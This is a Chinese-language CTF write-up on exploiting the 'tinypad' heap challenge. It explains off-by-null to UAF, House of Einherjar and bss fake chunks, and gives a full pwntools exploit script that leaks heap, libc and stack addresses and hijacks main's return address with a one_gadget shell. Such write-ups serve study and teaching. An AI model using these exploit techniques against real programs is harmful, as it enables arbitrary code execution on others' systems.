如果无法泄漏堆地址, 使用 unsorted bin 中的 chunk 也可以满足 unlink 的条件. unsorted bin 中的 chunk, fd 和 bk 都是 bin, 而 bin 的 fd 和 bk 都是 chunk, 这样 FD 的 bk 和 BK 的 fd 都是 chunk.
利用这一点, 可以 将 off by null 转换为 UAF. 考虑连续分配 A, B, C, D 四个 chunk, A, C 的大小在 unsorted bin 中, B 是用来 off by null 写 C 的. 先 free A, 然后 edit B, 打 house of einherjar, 然后 free B, 这样会向后合并到 A, 于是 unsorted bin 里会有 ABC 合并在一起的大 chunk, 而 B 这个 chunk 是没有被释放的, 我们有一个指向 B 的指针. 再次申请相同大小的三个 chunk, 那么又会得到一个指向 B 的指针. 这样就构造出了 UAF.
用 House of Einherjar 使得 p 指向 bss 上的 tinypad (bss 和 heap 距离不远, 且 tinypad 上能够任意输入, 还有指针), free 后这块会丢到 unsortbin 中. 下次 malloc 从这里取, 就可 malloc 到 bss 了.
首先看怎么触发这个 off by one. edit 的时候, 会先写 buffer, 然后确认了就 strcpy 过去. 如果 mem 大小是 0xf8, 并且填满 0xf8 的 buffer, 那么会将 mem 和 下一个 chunk 的 presize 覆盖满, 并 off by null 设置了 size 的低一个字节为 0. 在写入合适的 presize 之前, 利用 off by null 清空一下 presize 位置上的之前填充用的数据. 最后 edit 一次, 向 下一个 chunk 的 presize 写入合适的值, 以供我们 House of Einherjar. 这部分代码如下:
1
2
3
4
5
info(f'fake presize: {hex(fake_presize)}')edit(1,b'h'*0xf8)# fill chunk 1 and chunk 2's presize, off by null sizeforiinrange(1,8-len(p64(fake_presize).strip(b'\x00'))):edit(1,b'i'*(0xf8-i))edit(1,b'j'*0xf0+p64(fake_presize))# fill presize
另一种方法是直接填刚刚算得的 presize, 不过由于这里的 size 非常大, 就导致可能会继续检查和修改 large chunk 的两个指针:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if(!in_smallbin_range(chunksize_nomask(P))&&__builtin_expect(P->fd_nextsize!=NULL,0)){if(__builtin_expect(P->fd_nextsize->bk_nextsize!=P,0)||__builtin_expect(P->bk_nextsize->fd_nextsize!=P,0))malloc_printerr("corrupted double-linked list (not small)");if(FD->fd_nextsize==NULL){if(P->fd_nextsize==P)FD->fd_nextsize=FD->bk_nextsize=FD;else{FD->fd_nextsize=P->fd_nextsize;FD->bk_nextsize=P->bk_nextsize;P->fd_nextsize->bk_nextsize=FD;P->bk_nextsize->fd_nextsize=FD;}}else{P->fd_nextsize->bk_nextsize=P->bk_nextsize;P->bk_nextsize->fd_nextsize=P->fd_nextsize;}}
# malloc fake chunk, and overleap ptr 1 to leak stack, overleap ptr 2 to &ptr_1payload=b'o'*0x98+p64(libc.sym['__environ'])payload+=b'o'*8+p64(tinypad+0x108)add(0xb0,payload)# idx 2io.recvuntil(b'INDEX: 1\n # CONTENT: ')stack=u64(io.recv(6).ljust(8,b'\x00'))success(f'leak stack: {hex(stack)}')main_ret=stack-0xf0success(f'leak main ret: {hex(main_ret)}')# hijack main ret address to one gadgetedit(2,p64(main_ret))one_gadget=one_gadgets()[0]+libc.addressedit(1,p64(one_gadget))
frompwnimport*importsubprocesscontext(os='linux',arch='amd64',log_level='info')procname='./tinypad'libcname='./libc.so.6'io=process(procname,stdin=PTY)# io = remote()elf=ELF(procname)libc=ELF(libcname)tinypad=elf.sym['tinypad']defn2b(x):returnstr(x).encode()defone_gadgets():result=[int(i)foriinsubprocess.check_output(['one_gadget','-l','1','--raw',libcname]).decode().split(' ')]info(f'search one gadgets from {libcname}: {[hex(i)foriinresult]}')returnresultdefop(x):io.sendlineafter(b'>>> ',x)defadd(size,content):op(b'A')io.sendlineafter(b'>>> ',n2b(size))io.sendlineafter(b'>>> ',content)defdelete(idx):op(b'D')io.sendlineafter(b'>>> ',n2b(idx))defedit(idx,content):op(b'E')io.sendlineafter(b'>>> ',n2b(idx))io.sendlineafter(b'>>> ',content)io.sendlineafter(b'>>> ',b'Y')# leak heap and libcadd(0x80,b'aaaa')add(0x80,b'bbbb')add(0x80,b'cccc')add(0x80,b'dddd')delete(3)delete(1)io.recvuntil(b'INDEX: 1\n # CONTENT: ')heap=u64(io.recvline(keepends=False).ljust(8,b'\x00'))-0x120success(f'leak heap: {hex(heap)}')io.recvuntil(b'INDEX: 3\n # CONTENT: ')libc.address=u64(io.recvline(keepends=False).ljust(8,b'\x00'))-0x3c4b78success(f'leak libc: {hex(libc.address)}')delete(2)delete(4)offset=0x60# fake chunk at tinypad offsetadd(0xf8,b'e'*0xf8)# idx 1, overleap chunk 2's presize and PRE_INUSEadd(0xf0,b'ffff')# idx 2, free to House of Einherjaradd(0xc0,b'g'*(offset+0x10-1))# idx 3, block top chunk, for edit, size for fake next chunk presizefake_chunk=tinypad+offsetfake_presize=heap+0x100-fake_chunkinfo(f'fake presize: {hex(fake_presize)}')edit(1,b'h'*0xf8)# fill chunk 1 and chunk 2's presize, off by null sizeforiinrange(1,8-len(p64(fake_presize).strip(b'\x00'))):edit(1,b'i'*(0xf8-i))edit(1,b'j'*0xf0+p64(fake_presize))# fill presize# fake chunk to pass unlink checkfake_chunk_content=p64(0)+p64(0x90)+p64(fake_chunk)*2fake_chunk_content+=b'k'*0x70fake_chunk_content+=p64(0x90)*2edit(1,b'l'*offset+fake_chunk_content)delete(2)# free to House of Einherjar, fake chunk in unsortbin# forge the chunk to pass malloc checkforiinrange(2,6):edit(3,b'm'*(offset+0x10-i))edit(3,b'n'*offset+p64(0)+p64(0xc0))# malloc fake chunk, and overleap ptr 1 to leak stack, overleap ptr 2 to &ptr_1payload=b'o'*0x98+p64(libc.sym['__environ'])payload+=b'o'*8+p64(tinypad+0x108)add(0xb0,payload)# idx 2io.recvuntil(b'INDEX: 1\n # CONTENT: ')stack=u64(io.recv(6).ljust(8,b'\x00'))success(f'leak stack: {hex(stack)}')main_ret=stack-0xf0success(f'leak main ret: {hex(main_ret)}')# hijack main ret address to one gadgetedit(2,p64(main_ret))one_gadget=one_gadgets()[0]+libc.addressedit(1,p64(one_gadget))op(b'Q')io.interactive()